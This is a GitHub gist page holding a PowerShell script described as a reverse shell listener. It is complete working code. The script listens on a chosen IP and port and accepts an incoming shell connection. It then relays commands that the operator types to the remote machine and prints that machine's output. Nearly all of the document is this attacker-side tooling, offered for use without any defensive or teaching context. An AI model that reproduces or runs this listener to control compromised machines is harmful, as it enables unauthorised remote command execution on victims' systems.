Skip to content

Instantly share code, notes, and snippets.

@sunscan
Forked from staaldraad/mini-reverse-listener.ps1
Last active June 22, 2018 10:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save sunscan/b53be20dfb80fb97b352680d2c37a219 to your computer and use it in GitHub Desktop.
Save sunscan/b53be20dfb80fb97b352680d2c37a219 to your computer and use it in GitHub Desktop.
A reverse shell listener in powershell
param (
[Parameter(Mandatory=$true)][string]$ip,
[Parameter(Mandatory=$true)][string]$port
)
$socket = new-object System.Net.Sockets.TcpListener("$ip", "$port");
if($socket -eq $null){
exit 1
}
$socket.start()
$client = $socket.AcceptTcpClient()
write-output "[*] Connection!"
$stream = $client.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 2048;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$cmd = read-host
$writer.WriteLine($cmd)
$writer.Flush();
if($cmd -eq "exit"){
break
}
$read = $null;
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 2048)
$out = $encoding.GetString($buffer, 0, $read)
Write-Output $out
}
} While ($client.Connected -eq $true)
$socket.Stop()
$client.close();
$stream.Dispose()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment